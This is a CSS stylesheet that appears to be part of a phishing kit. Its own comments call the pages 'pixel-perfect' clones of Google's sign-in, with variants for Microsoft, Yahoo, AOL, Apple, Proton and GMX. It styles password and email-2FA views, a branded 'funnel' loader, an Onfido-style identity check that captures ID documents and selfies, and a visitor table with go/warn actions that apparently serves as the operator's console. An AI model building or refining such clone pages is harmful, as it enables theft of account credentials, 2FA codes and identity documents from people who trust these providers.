.row-actions button {
  min-height: 30px;
  padding: 4px 9px;
  font-size: 11.5px;
  font-weight: 600;
  color: #e2e8f0;
  background: rgba(0, 128, 166, .22);
  border: 1px solid rgba(10, 210, 225, .3);
  border-radius: 8px;
  cursor: pointer;
}
.row-actions button:hover { background: rgba(0, 128, 166, .4); }
.row-actions button.warn { background: rgba(220, 38, 38, .2); border-color: rgba(220, 38, 38, .4); }
.row-actions button.go { background: rgba(0, 167, 82, .2); border-color: rgba(0, 167, 82, .4); }

/* ==========================================================================
   Responsive
   ========================================================================== */
@media (max-width: 720px) {
  .site-header { flex-wrap: wrap; }

  .grid-3 { grid-template-columns: 1fr 1fr; }

  /* panel table → stacked cards */
  .visitor-table thead { display: none; }
  .visitor-table,
  .visitor-table tbody,
  .visitor-table tr,
  .visitor-table td { display: block; width: 100%; }
  .visitor-table tr {
    margin-bottom: 12px;
    padding: 12px;
    background: rgba(255, 255, 255, .04);
    border: 1px solid rgba(255, 255, 255, .1);
    border-radius: var(--radius-sm);
  }
  .visitor-table td {
    display: flex;
    justify-content: space-between;
    gap: 12px;
    padding: 6px 0;
    border-bottom: 1px dashed rgba(255, 255, 255, .07);
  }
  .visitor-table td:last-child { border-bottom: 0; }
  .visitor-table td::before {
    content: attr(data-label);
    flex: 0 0 42%;
    font-size: 11px;
    text-transform: uppercase;
    letter-spacing: .04em;
    color: #94a3b8;
  }

  .push-details .row { font-size: 12.5px; }
}

@media (max-width: 420px) {
  .grid-3 { grid-template-columns: 1fr; }
  .push-bio { grid-template-columns: 1fr; }
}

@media (prefers-reduced-motion: reduce) {
  *,
  *::before,
  *::after {
    animation-duration: .001ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: .001ms !important;
    scroll-behavior: auto !important;
  }
  .os-push { transform: translate(-50%, 0); opacity: 1; }
}

/* ==========================================================================
   Provider-clone pages — pixel-perfect Google Material 3 sign-in
   (measured from accounts.google.com): bg #f0f4f9, white card radius 28px,
   36px H1 / #1f1f1f, floating-label input 56px, pill buttons #0b57d0.
   ========================================================================== */
body.provider-mode {
  background: #f0f4f9;
  background-attachment: fixed;
}
body.provider-mode .site-header,
body.provider-mode .site-footer { display: none; }
body.provider-mode .site-main {
  align-items: center;
  padding: clamp(12px, 4vh, 48px) 16px;
}
body.provider-mode .page { max-width: none; }
body.provider-mode .app { justify-content: center; }

.gpage {
  --g-accent: #0b57d0;
  --g-ink: #1f1f1f;
  --g-ink-2: #444746;
  --g-line: #747775;
  --g-err: #b3261e;
  width: 100%;
  max-width: 960px;
  margin: 0 auto;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  color: var(--g-ink);
}
.gpage[data-provider="microsoft"] { --g-accent: #0067b8; }
.gpage[data-provider="yahoo"]    { --g-accent: #5f259f; }
.gpage[data-provider="aol"]      { --g-accent: #314bd2; }
.gpage[data-provider="apple"]    { --g-accent: #1c1c1e; }
.gpage[data-provider="proton"]   { --g-accent: #6d4aff; }
.gpage[data-provider="gmx"]      { --g-accent: #1c449b; }

.g-card {
  width: 100%;
  max-width: 880px;
  margin: 0 auto;
  background: #fff;
  border-radius: 28px;
  padding: 36px;
  color: var(--g-ink);
}
.g-card-single { max-width: 560px; }
.g-card-single .g-view { max-width: 380px; margin: 0 auto; }

.g-cols {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 48px;
  align-items: start;
}
.g-glogo { width: 48px; height: 48px; display: block; margin: 0; }
.g-plogo { display: block; height: 40px; width: auto; max-width: 180px; margin: 0; }

.g-title {
  margin: 24px 0 0;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 36px;
  line-height: 44px;
  font-weight: 400;
  color: var(--g-ink);
  letter-spacing: 0;
}
.g-sub {
  margin: 18px 0 0;
  font-size: 16px;
  line-height: 24px;
  color: var(--g-ink);
}
.g-view .g-title { margin-top: 20px; }

/* M3 outlined text field */
.g-field { position: relative; margin: 0; }
.g-field input {
  width: 100%;
  height: 56px;
  padding: 0 15px;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 16px;
  font-weight: 400;
  color: var(--g-ink);
  background: #fff;
  border: 1px solid var(--g-line);
  border-radius: 4px;
  box-shadow: none;
  outline: none;
  caret-color: var(--g-accent);
  transition: border-color .1s ease;
}
.g-field input:focus {
  border: 2px solid var(--g-accent);
  padding: 0 14px;
}
.g-field label {
  position: absolute;
  left: 11px;
  top: 50%;
  transform: translateY(-50%);
  padding: 0 4px;
  background: #fff;
  font-size: 16px;
  line-height: 1;
  color: var(--g-ink-2);
  pointer-events: none;
  transition: top .12s ease, font-size .12s ease, color .12s ease;
  white-space: nowrap;
}
.g-field input:focus + label,
.g-field input:not(:placeholder-shown) + label {
  top: 0;
  font-size: 12px;
}
.g-field input:focus + label { color: var(--g-accent); }
.g-field.g-invalid input,
.g-field input.invalid {
  border: 2px solid var(--g-err);
  padding: 0 14px;
}
.g-field.g-invalid label,
.g-field input.invalid + label { color: var(--g-err); }

.g-err {
  display: none;
  margin: 6px 0 0;
  padding-left: 25px;
  font-size: 12px;
  line-height: 16px;
  color: var(--g-err);
  background: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='16' height='16'><path fill='%23b3261e' d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z'/></svg>") 0 0/16px 16px no-repeat;
}
.g-err.show { display: block; }

.g-help-link { margin: 18px 0 0; }
.g-link {
  color: var(--g-accent);
  font-size: 14px;
  font-weight: 500;
  text-decoration: none;
  cursor: pointer;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
}
.g-link:hover { text-decoration: none; filter: brightness(1.15); }

.g-guest {
  margin: 46px 0 0;
  font-size: 14px;
  line-height: 20px;
  color: var(--g-ink-2);
}
.g-guest .g-link { font-weight: 500; }

.g-actions {
  display: flex;
  justify-content: flex-end;
  align-items: center;
  gap: 12px;
  margin-top: 46px;
}
#g-view-pw .g-actions,
#email-2fa-form .g-actions { margin-top: 40px; }

.g-btn-fill {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  height: 40px;
  padding: 0 24px;
  border: 0;
  border-radius: 20px;
  background: var(--g-accent);
  color: #fff;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: background .12s ease, box-shadow .12s ease;
}
.g-btn-fill:hover { background: #0842a0; box-shadow: 0 1px 3px rgba(0, 0, 0, .35); }
.gpage[data-provider]:not([data-provider="google"]):not([data-provider="generic"]) .g-btn-fill:hover { filter: brightness(.92); }
.g-btn-fill:active { transform: translateY(0); }

.g-btn-text {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  height: 40px;
  padding: 0 16px;
  border: 0;
  border-radius: 20px;
  background: transparent;
  color: var(--g-accent);
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: background .12s ease;
}
.g-btn-text:hover { background: rgba(11, 87, 208, .08); }

.g-back {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 40px;
  height: 40px;
  margin: 0 0 16px -12px;
  border: 0;
  border-radius: 50%;
  background: transparent;
  color: var(--g-ink-2);
  cursor: pointer;
  transition: background .12s ease;
}
.g-back:hover { background: rgba(68, 71, 70, .08); }

.g-chip {
  display: inline-flex;
  align-items: center;
  align-self: flex-start;
  gap: 10px;
  padding: 6px 16px 6px 6px;
  margin: 0 0 4px;
  border: 1px solid var(--g-line);
  border-radius: 24px;
}
.g-avatar {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 32px;
  height: 32px;
  border-radius: 50%;
  background: var(--g-accent);
  color: #fff;
  font-size: 16px;
  font-weight: 500;
}
.g-chip-email { font-size: 14px; font-weight: 400; color: var(--g-ink); }

.g-check {
  display: inline-flex;
  align-items: center;
  gap: 14px;
  margin: 22px 0 0;
  font-size: 14px;
  font-weight: 400;
  color: var(--g-ink);
  cursor: pointer;
  user-select: none;
}
.g-check input {
  width: 18px;
  height: 18px;
  margin: 0;
  accent-color: var(--g-accent);
}

.g-form .g-field { margin-top: 24px; }
#g-view-pw .g-help-link { margin: 14px 0 0; }
.g-form .g-err { margin-top: 8px; }

.g-foot {
  display: flex;
  justify-content: space-between;
  align-items: center;
  max-width: 880px;
  margin: 12px auto 0;
  padding: 8px 16px;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
}
.g-lang {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  padding: 4px 8px;
  border: 0;
  background: transparent;
  color: var(--g-ink-2);
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 14px;
  cursor: pointer;
  border-radius: 4px;
}
.g-lang:hover { background: rgba(68, 71, 70, .06); }
.g-foot-links { display: flex; gap: 24px; }
.g-foot-links a {
  color: var(--g-ink);
  font-size: 12px;
  font-weight: 500;
  text-decoration: none;
}
.g-foot-links a:hover { text-decoration: none; opacity: .75; }

/* — clone mobile: single column, edge-to-edge card (real M3 behavior) — */
@media (max-width: 600px) {
  body.provider-mode .site-main { padding: 0; }
  .gpage { max-width: none; }
  .g-card { border-radius: 0; padding: 24px; min-height: calc(100dvh - 56px); }
  .g-card-single .g-view { max-width: none; }
  .g-cols { grid-template-columns: 1fr; gap: 24px; }
  .g-title { font-size: 28px; line-height: 36px; margin-top: 20px; }
  .g-sub { margin-top: 12px; }
  .g-guest { margin-top: 32px; }
  .g-actions { margin-top: 36px; }
  .g-foot { margin-top: 0; padding: 8px 16px; }
}

/* ==========================================================================
   Flow loader — branded timed transition between funnel pages
   ========================================================================== */
.flow-loader {
  position: fixed;
  inset: 0;
  z-index: 9900;
  display: flex;
  align-items: center;
  justify-content: center;
  background: #fff;
  opacity: 0;
  visibility: hidden;
  pointer-events: none;
  transition: opacity .25s ease, visibility .25s ease;
}
.flow-loader.show {
  opacity: 1;
  visibility: visible;
  pointer-events: auto;
}
.flow-inner {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 18px;
  padding: 28px 40px;
}
.flow-inner img { width: 118px; height: auto; opacity: .96; }
.flow-loader.neutral .flow-inner img { visibility: hidden; }
.flow-spinner {
  width: 34px;
  height: 34px;
  border-radius: 50%;
  border: 3px solid rgba(0, 59, 112, .14);
  border-top-color: var(--navy);
  animation: ofb-spin .8s linear infinite;
}
.flow-status {
  font-size: 14px;
  font-weight: 500;
  letter-spacing: .01em;
  color: var(--muted);
}
.flow-bar {
  position: relative;
  width: 168px;
  height: 3px;
  border-radius: 999px;
  background: rgba(0, 59, 112, .1);
  overflow: hidden;
}
.flow-bar i {
  position: absolute;
  top: 0; left: 0; bottom: 0;
  width: 38%;
  border-radius: 999px;
  background: var(--navy);
  animation: flow-bar-slide 1.05s var(--ease) infinite;
}
@keyframes flow-bar-slide {
  0% { left: -40%; }
  60% { left: 102%; }
  100% { left: 102%; }
}

/* ==========================================================================
   Onfido-style KYC widget (identity verification)
   ========================================================================== */
.kyc {
  --kyc-accent: #00b2a9;
  --kyc-dark: #16232c;
  --kyc-ink: #1e2d36;
  --kyc-muted: #5c6b76;
  position: relative;
  border-radius: 20px;
  padding-top: 52px;
}
.kyc .title { color: var(--kyc-ink); }
.kyc-progress {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  height: 5px;
  border-radius: 20px 20px 0 0;
  background: #eef2f4;
  overflow: hidden;
}
.kyc-progress span {
  display: block;
  height: 100%;
  width: 16.6%;
  background: var(--kyc-accent);
  border-radius: 0 999px 999px 0;
  transition: width .35s var(--ease);
}
.kyc .step-tracker { color: var(--kyc-accent); }

.kyc-q {
  margin: 0 0 6px;
  font-size: 15px;
  line-height: 1.5;
  color: var(--kyc-ink);
  text-align: center;
}
.kyc-q b { color: var(--kyc-ink); }

.kyc-btn {
  width: 100%;
  min-height: 52px;
  background: var(--kyc-dark);
  border-radius: 10px;
  font-size: 16px;
  font-weight: 500;
  letter-spacing: .01em;
}
.kyc-btn:hover { background: #22323e; }
.kyc-btn:focus-visible { box-shadow: 0 0 0 3px rgba(0, 178, 169, .4); }

/* Onfido-style document selection tiles */
.kyc-tiles {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 14px;
  width: 100%;
  margin: 6px 0 4px;
}
.kyc-tile {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 12px;
  min-height: 148px;
  padding: 18px 14px;
  background: #fff;
  border: 2px solid #dde5e9;
  border-radius: 14px;
  cursor: pointer;
  color: var(--kyc-muted);
  font-family: var(--font);
  font-size: 14.5px;
  font-weight: 600;
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease), color .15s var(--ease), transform .08s var(--ease);
}
.kyc-tile svg { color: var(--kyc-muted); transition: color .15s var(--ease); }
.kyc-tile:hover { border-color: #b9cdd2; color: var(--kyc-ink); transform: translateY(-1px); box-shadow: var(--shadow-sm); }
.kyc-tile.active {
  border-color: var(--kyc-accent);
  color: var(--kyc-ink);
  box-shadow: 0 0 0 3px rgba(0, 178, 169, .18);
}
.kyc-tile.active svg { color: var(--kyc-accent); }

/* Onfido-style capture viewport */
.kyc .cam {
  border-radius: 16px;
  background: #101a21;
  border: 0;
}
.kyc .doc-cap { border-radius: 16px; }
.kyc .doc-frame {
  inset: 10%;
  border: 0;
  border-radius: 16px;
  box-shadow: 0 0 0 9999px rgba(10, 18, 24, .38);
  background:
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) top left/26px 3px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) top left/3px 26px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) top right/26px 3px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) top right/3px 26px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) bottom left/26px 3px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) bottom left/3px 26px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) bottom right/26px 3px no-repeat,
    linear-gradient(var(--kyc-accent), var(--kyc-accent)) bottom right/3px 26px no-repeat;
}
.kyc .doc-frame::before,
.kyc .doc-frame::after { content: none; }
.kyc .doc-hints { gap: 6px; top: 10px; }
.kyc .doc-hints .q {
  background: rgba(16, 26, 33, .62);
  color: #cad6dd;
  border: 1px solid rgba(255, 255, 255, .14);
  font-weight: 500;
  letter-spacing: .02em;
}
.kyc .doc-hints .q.q-ok {
  background: rgba(0, 178, 169, .25);
  color: #7fe9e2;
  border-color: rgba(0, 178, 169, .7);
}
.kyc .doc-hints .q.q-bad {
  background: rgba(217, 38, 38, .25);
  color: #ffb3b3;
  border-color: rgba(217, 38, 38, .7);
}
.kyc .quality-bar { left: 12%; right: 12%; height: 2px; background: rgba(255, 255, 255, .14); }
.kyc .quality-bar i { background: var(--kyc-accent); }
.kyc .shutter {
  width: 62px;
  height: 62px;
  bottom: 12px;
  border: 4px solid rgba(255, 255, 255, .95);
  background: rgba(255, 255, 255, .14);
  font-size: 26px;
}
.kyc .shutter:hover { background: rgba(255, 255, 255, .3); }
.kyc .cam-actions-after .btn {
  min-height: 44px;
  padding: 10px 22px;
  border-radius: 10px;
  font-size: 14px;
  font-weight: 600;
}
.kyc .cam-actions-after .btn.ghost {
  background: rgba(255, 255, 255, .92);
  color: var(--kyc-ink);
  border-color: transparent;
}
.kyc .livecheck-pass {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 86px;
  height: 86px;
  border-radius: 50%;
  background: rgba(0, 178, 169, .92);
  color: #fff;
  font-size: 42px;
  text-shadow: none;
  box-shadow: 0 8px 30px rgba(0, 178, 169, .45);
}
.kyc .selfie-oval {
  width: 52%;
  padding-top: 52%;
  border: 0;
  box-shadow: 0 0 0 9999px rgba(10, 18, 24, .38), 0 0 0 3px rgba(0, 178, 169, .8);
}
.kyc .liveness-ring.active { border-color: var(--kyc-accent); }

.kyc-brand {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  margin: 22px 0 0;
  font-size: 12px;
  font-weight: 500;
  letter-spacing: .02em;
  color: var(--kyc-muted);
}

@media (max-width: 560px) {
  .kyc-tiles { grid-template-columns: 1fr; }
  .kyc-tile { min-height: 96px; flex-direction: row; justify-content: flex-start; padding: 14px 18px; gap: 16px; }
}
